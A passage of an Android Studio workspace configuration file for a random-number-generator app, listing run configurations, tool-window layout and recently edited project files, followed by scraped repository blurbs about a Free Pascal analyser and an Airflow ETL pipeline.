name="VM_PARAMETERS" /> <option name="PARAMETERS" /> <option name="WORKING_DIRECTORY" /> <option name="ENV_VARIABLES" /> <option name="PASS_PARENT_ENVS" value="true" /> <option name="TEST_SEARCH_SCOPE"> <value defaultName="singleModule" /> </option> <envs /> <patterns /> <method /> </configuration> <configuration default="true" type="JarApplication" factoryName="JAR Application"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <envs /> <method /> </configuration> <configuration default="true" type="Java Scratch" factoryName="Java Scratch"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <option name="SCRATCH_FILE_ID" value="0" /> <option name="MAIN_CLASS_NAME" /> <option name="VM_PARAMETERS" /> <option name="PROGRAM_PARAMETERS" /> <option name="WORKING_DIRECTORY" /> <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> <option name="ALTERNATIVE_JRE_PATH" /> <option name="ENABLE_SWING_INSPECTOR" value="false" /> <option name="ENV_VARIABLES" /> <option name="PASS_PARENT_ENVS" value="true" /> <module name="" /> <envs /> <method /> </configuration> <configuration default="true" type="Remote" factoryName="Remote"> <option name="USE_SOCKET_TRANSPORT" value="true" /> <option name="SERVER_MODE" value="false" /> <option name="SHMEM_ADDRESS" value="javadebug" /> <option name="HOST" value="localhost" /> <option name="PORT" value="5005" /> <method /> </configuration> <configuration default="true" type="TestNG" factoryName="TestNG"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <module name="" /> <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> <option name="ALTERNATIVE_JRE_PATH" /> <option name="SUITE_NAME" /> <option name="PACKAGE_NAME" /> <option name="MAIN_CLASS_NAME" /> <option name="METHOD_NAME" /> <option name="GROUP_NAME" /> <option name="TEST_OBJECT" value="CLASS" /> <option name="VM_PARAMETERS" value="-ea" /> <option name="PARAMETERS" /> <option name="WORKING_DIRECTORY" value="$PROJECT_DIR$" /> <option name="OUTPUT_DIRECTORY" /> <option name="ANNOTATION_TYPE" /> <option name="ENV_VARIABLES" /> <option name="PASS_PARENT_ENVS" value="true" /> <option name="TEST_SEARCH_SCOPE"> <value defaultName="singleModule" /> </option> <option name="USE_DEFAULT_REPORTERS" value="false" /> <option name="PROPERTIES_FILE" /> <envs /> <properties /> <listeners /> <method /> </configuration> <configuration default="true" type="TestNGTestDiscovery" factoryName="TestNG Test Discovery" changeList="All"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <module name="" /> <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> <option name="ALTERNATIVE_JRE_PATH" /> <option name="SUITE_NAME" /> <option name="PACKAGE_NAME" /> <option name="MAIN_CLASS_NAME" /> <option name="METHOD_NAME" /> <option name="GROUP_NAME" /> <option name="TEST_OBJECT" value="CLASS" /> <option name="VM_PARAMETERS" /> <option name="PARAMETERS" /> <option name="WORKING_DIRECTORY" /> <option name="OUTPUT_DIRECTORY" /> <option name="ANNOTATION_TYPE" /> <option name="ENV_VARIABLES" /> <option name="PASS_PARENT_ENVS" value="true" /> <option name="TEST_SEARCH_SCOPE"> <value defaultName="singleModule" /> </option> <option name="USE_DEFAULT_REPORTERS" value="false" /> <option name="PROPERTIES_FILE" /> <envs /> <properties /> <listeners /> <method /> </configuration> <configuration default="false" name="app" type="AndroidRunConfigurationType" factoryName="Android Application" activateToolWindowBeforeRun="false"> <module name="app" /> <option name="DEPLOY" value="true" /> <option name="ARTIFACT_NAME" value="" /> <option name="PM_INSTALL_OPTIONS" value="" /> <option name="ACTIVITY_EXTRA_FLAGS" value="" /> <option name="MODE" value="default_activity" /> <option name="TARGET_SELECTION_MODE" value="SHOW_DIALOG" /> <option name="PREFERRED_AVD" value="" /> <option name="CLEAR_LOGCAT" value="false" /> <option name="SHOW_LOGCAT_AUTOMATICALLY" value="true" /> <option name="SKIP_NOOP_APK_INSTALLATIONS" value="true" /> <option name="FORCE_STOP_RUNNING_APP" value="true" /> <option name="DEBUGGER_TYPE" value="Java" /> <option name="USE_LAST_SELECTED_DEVICE" value="true" /> <option name="PREFERRED_AVD" value="" /> <option name="SELECTED_CLOUD_MATRIX_CONFIGURATION_ID" value="-1" /> <option name="SELECTED_CLOUD_MATRIX_PROJECT_ID" value="" /> <Hybrid> <option name="WORKING_DIR" value="" /> <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" /> </Hybrid> <Native> <option name="WORKING_DIR" value="" /> <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" /> </Native> <Java /> <Profilers> <option name="GAPID_DISABLE_PCS" value="false" /> </Profilers> <option name="DEEP_LINK" value="" /> <option name="ACTIVITY_CLASS" value="" /> <method /> </configuration> <list size="1"> <item index="0" class="java.lang.String" itemvalue="Android Application.app" /> </list> <configuration name="<template>" type="Applet" default="true" selected="false"> <option name="MAIN_CLASS_NAME" /> <option name="HTML_FILE_NAME" /> <option name="HTML_USED" value="false" /> <option name="WIDTH" value="400" /> <option name="HEIGHT" value="300" /> <option name="POLICY_FILE" value="$APPLICATION_HOME_DIR$/bin/appletviewer.policy" /> <option name="VM_PARAMETERS" /> </configuration> <configuration name="<template>" type="#org.jetbrains.idea.devkit.run.PluginConfigurationType" default="true" selected="false"> <option name="VM_PARAMETERS" value="-Xmx512m -Xms256m -XX:MaxPermSize=250m -ea" /> </configuration> </component> <component name="ShelveChangesManager" show_recycled="false" /> <component name="SvnConfiguration"> <configuration /> </component> <component name="TaskManager"> <task active="true" id="Default" summary="Default task"> <changelist id="f5e37520-ca17-4d94-bb6c-b4cbc9c73568" name="Default" comment="" /> <created>1451460273974</created> <option name="number" value="Default" /> <updated>1451460273974</updated> </task> <servers /> </component> <component name="ToolWindowManager"> <frame x="0" y="23" width="1280" height="709" extended-state="6" /> <editor active="true" /> <layout> <window_info id="Palette	" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" /> <window_info id="Designer" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> <window_info id="Preview" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> <window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" /> <window_info id="Android Model" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="true" content_ui="tabs" /> <window_info id="Capture Analysis" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> <window_info id="Android Monitor" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.31365937" sideWeight="0.47415185" order="7" side_tool="false" content_ui="tabs" /> <window_info id="Captures" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" /> <window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> <window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.3153457" sideWeight="0.52584815" order="7" side_tool="true" content_ui="tabs" /> <window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" /> <window_info id="Capture Tool" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" /> <window_info id="Gradle Console" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" /> <window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" /> <window_info id="Build Variants" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" /> <window_info id="Messages" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.32715008" sideWeight="0.49353796" order="7" side_tool="false" content_ui="tabs" /> <window_info id="Gradle" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> <window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" /> <window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" /> <window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.22374798" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" /> <window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.327787" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" /> <window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" /> <window_info id="Application Servers" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" /> <window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" /> <window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" /> <window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" /> <window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.32833335" sideWeight="0.49676898" order="1" side_tool="false" content_ui="tabs" /> <window_info id="Maven Projects" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" /> <window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="SLIDING" type="SLIDING" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" /> <window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" /> </layout> </component> <component name="Vcs.Log.UiProperties"> <option name="RECENTLY_FILTERED_USER_GROUPS"> <collection /> </option> <option name="RECENTLY_FILTERED_BRANCH_GROUPS"> <collection /> </option> </component> <component name="VcsContentAnnotationSettings"> <option name="myLimit" value="2678400000" /> </component> <component name="XDebuggerManager"> <breakpoint-manager /> <watches-manager /> </component> <component name="editorHistoryManager"> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/SettingsActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="46" column="76" selection-start-line="46" selection-start-column="76" selection-end-line="46" selection-end-column="76" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/build.gradle"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/MainActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="30" column="44" selection-start-line="30" selection-start-column="44" selection-end-line="30" selection-end-column="44" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/strings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="15" column="71" selection-start-line="15" selection-start-column="71" selection-end-line="15" selection-end-column="71" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/EditExcludedActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="25" column="0" selection-start-line="25" selection-start-column="0" selection-end-line="25" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/StandardActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="20" column="4" selection-start-line="20" selection-start-column="4" selection-end-line="25" selection-end-column="5" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/homepage.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="91" column="52" selection-start-line="91" selection-start-column="52" selection-end-line="91" selection-end-column="52" /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/RandUtils.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="8" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/MyApplication.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="19" column="5" selection-start-line="19" selection-start-column="5" selection-end-line="19" selection-end-column="5" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/styles.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="47" column="0" selection-start-line="47" selection-start-column="0" selection-end-line="47" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/excluded_number_cell.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-3.6206896"> <caret line="7" column="37" selection-start-line="7" selection-start-column="37" selection-end-line="7" selection-end-column="37" /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/ExcludedNumbersAdapter.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-0.18110237"> <caret line="81" column="36" selection-start-line="81" selection-start-column="36" selection-end-line="81" selection-end-column="36" /> </state> </provider> </entry> <entry file="jar://$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/design/23.2.0/design-23.2.0-sources.jar!/android/support/design/widget/Snackbar.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.33333334"> <caret line="357" column="65" selection-start-line="357" selection-start-column="54" selection-end-line="357" selection-end-column="65" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/build.gradle"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="17" column="8" selection-start-line="17" selection-start-column="8" selection-end-line="17" selection-end-column="42" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/anim/slide_left_in.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="5" column="24" selection-start-line="0" selection-start-column="0" selection-end-line="5" selection-end-column="53" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/integers.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="4" column="12" selection-start-line="0" selection-start-column="0" selection-end-line="4" selection-end-column="12" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/anim/slide_left_out.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="5" column="43" selection-start-line="5" selection-start-column="43" selection-end-line="5" selection-end-column="43" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/anim/slide_right_in.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="5" column="37" selection-start-line="0" selection-start-column="0" selection-end-line="5" selection-end-column="53" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/anim/slide_right_out.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="5" column="19" selection-start-line="5" selection-start-column="19" selection-end-line="5" selection-end-column="19" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/StandardActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="27" column="13" selection-start-line="27" selection-start-column="13" selection-end-line="27" selection-end-column="13" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/FormUtils.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="36" selection-end-column="1" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/SettingsAdapter.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.28"> <caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="71" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/Database/DatabaseManager.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-2.1496062"> <caret line="20" column="33" selection-start-line="20" selection-start-column="33" selection-end-line="20" selection-end-column="33" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/colors.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.30259365"> <caret line="7" column="29" selection-start-line="7" selection-start-column="29" selection-end-line="7" selection-end-column="29" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/config_cell.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.6132075"> <caret line="20" column="36" selection-start-line="20" selection-start-column="36" selection-end-line="20" selection-end-column="36" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/edit_configurations.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.18867925"> <caret line="4" column="37" selection-start-line="4" selection-start-column="37" selection-end-line="4" selection-end-column="37" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/ConfigurationsAdapter.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.3968254"> <caret line="33" column="27" selection-start-line="33" selection-start-column="27" selection-end-line="33" selection-end-column="27" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/PreferencesManager.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.7619048"> <caret line="52" column="0" selection-start-line="52" selection-start-column="0" selection-end-line="52" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/edit_excluded.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-0.1875"> <caret line="12" column="39" selection-start-line="12" selection-start-column="39" selection-end-line="12" selection-end-column="39" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/Database/ExcludedNumber.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.2777778"> <caret line="7" column="13" selection-start-line="7" selection-start-column="13" selection-end-line="7" selection-end-column="13" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/ConversionUtils.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.44444445"> <caret line="23" column="37" selection-start-line="23" selection-start-column="37" selection-end-line="23" selection-end-column="37" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/Database/RNGConfiguration.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-0.34920636"> <caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/edit_excluded_strings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.63559324"> <caret line="15" column="74" selection-start-line="15" selection-start-column="74" selection-end-line="15" selection-end-column="74" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/RandUtils.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="166" column="0" selection-start-line="166" selection-start-column="0" selection-end-line="166" selection-end-column="0" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/EditConfigurationsActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.7010582"> <caret line="27" column="76" selection-start-line="27" selection-start-column="76" selection-end-line="27" selection-end-column="76" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/EditExcludedActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-1.2222222"> <caret line="37" column="24" selection-start-line="37" selection-start-column="24" selection-end-line="37" selection-end-column="24" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/config_strings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-1.875"> <caret line="3" column="46" selection-start-line="3" selection-start-column="46" selection-end-line="3" selection-end-column="46" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/strings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="33" column="36" selection-start-line="33" selection-start-column="36" selection-end-line="33" selection-end-column="36" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/MyApplication.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="22" column="16" selection-start-line="22" selection-start-column="16" selection-end-line="22" selection-end-column="16" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/build.gradle"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="11" column="26" selection-start-line="11" selection-start-column="26" selection-end-line="11" selection-end-column="26" /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/settings_item_cell.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="10" column="32" selection-start-line="0" selection-start-column="0" selection-end-line="26" selection-end-column="15" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/SettingsActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="21" column="4" selection-start-line="21" selection-start-column="4" selection-end-line="69" selection-end-column="5" /> <folding> <element signature="imports" expanded="false" /> </folding> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/settings_strings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="20" column="50" selection-start-line="20" selection-start-column="50" selection-end-line="20" selection-end-column="50" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/values/styles.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="7" column="4" selection-start-line="7" selection-start-column="4" selection-end-line="21" selection-end-column="12" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/drawable/ripple_button.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="5" column="11" selection-start-line="5" selection-start-column="11" selection-end-line="5" selection-end-column="11" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/homepage.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-0.28301886"> <caret line="1" column="48" selection-start-line="1" selection-start-column="48" selection-end-line="1" selection-end-column="48" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/settings.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="6" column="41" selection-start-line="0" selection-start-column="0" selection-end-line="14" selection-end-column="0" /> <folding /> </state> </provider> <provider editor-type-id="android-designer"> <state /> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/MainActivity.java"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="331" column="5" selection-start-line="296" selection-start-column="4" selection-end-line="331" selection-end-column="5" /> <folding> <element signature="imports" expanded="false" /> <element signature="e#5173#5174#0" expanded="false" /> <element signature="e#5212#5213#0" expanded="false" /> <element signature="e#5339#5340#0" expanded="false" /> <element signature="e#5378#5379#0" expanded="false" /> </folding> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/menu/menu_main.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.0"> <caret line="13" column="0" selection-start-line="13" selection-start-column="0" selection-end-line="13" selection-end-column="0" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="-8.75"> <caret line="14" column="49" selection-start-line="14" selection-start-column="0" selection-end-line="15" selection-end-column="0" /> <folding /> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/app/src/main/res/drawable/edittext_border.xml"> <provider selected="true" editor-type-id="text-editor"> <state vertical-scroll-proportion="0.2112676"> <caret line="5" column="8" selection-start-line="0" selection-start-column="0" selection-end-line="5" selection-end-column="8" /> <folding /> </state> </provider> </entry> </component> </project> Sign out
PascalCorpsman / Fpc UnderstandFree Pascal static code analyser for Free Pascal and Lazarus Projects
ultranet1 / APACHE AIRFLOW DATA PIPELINESProject Description: A music streaming company wants to introduce more automation and monitoring to their data warehouse ETL pipelines and they have come to the conclusion that the best tool to achieve this is Apache Airflow. As their Data Engineer, I was tasked to create a reusable production-grade data pipeline that incorporates data quality checks and allows for easy backfills. Several analysts and Data Scientists rely on the output generated by this pipeline and it is expected that the pipeline runs daily on a schedule by pulling new data from the source and store the results to the destination. Data Description: The source data resides in S3 and needs to be processed in a data warehouse in Amazon Redshift. The source datasets consist of JSON logs that tell about user activity in the application and JSON metadata about the songs the users listen to. Data Pipeline design: At a high-level the pipeline does the following tasks. Extract data from multiple S3 locations. Load the data into Redshift cluster. Transform the data into a star schema. Perform data validation and data quality checks. Calculate the most played songs for the specified time interval. Load the result back into S3. dag Structure of the Airflow DAG Design Goals: Based on the requirements of our data consumers, our pipeline is required to adhere to the following guidelines: The DAG should not have any dependencies on past runs. On failure, the task is retried for 3 times. Retries happen every 5 minutes. Catchup is turned off. Do not email on retry. Pipeline Implementation: Apache Airflow is a Python framework for programmatically creating workflows in DAGs, e.g. ETL processes, generating reports, and retraining models on a daily basis. The 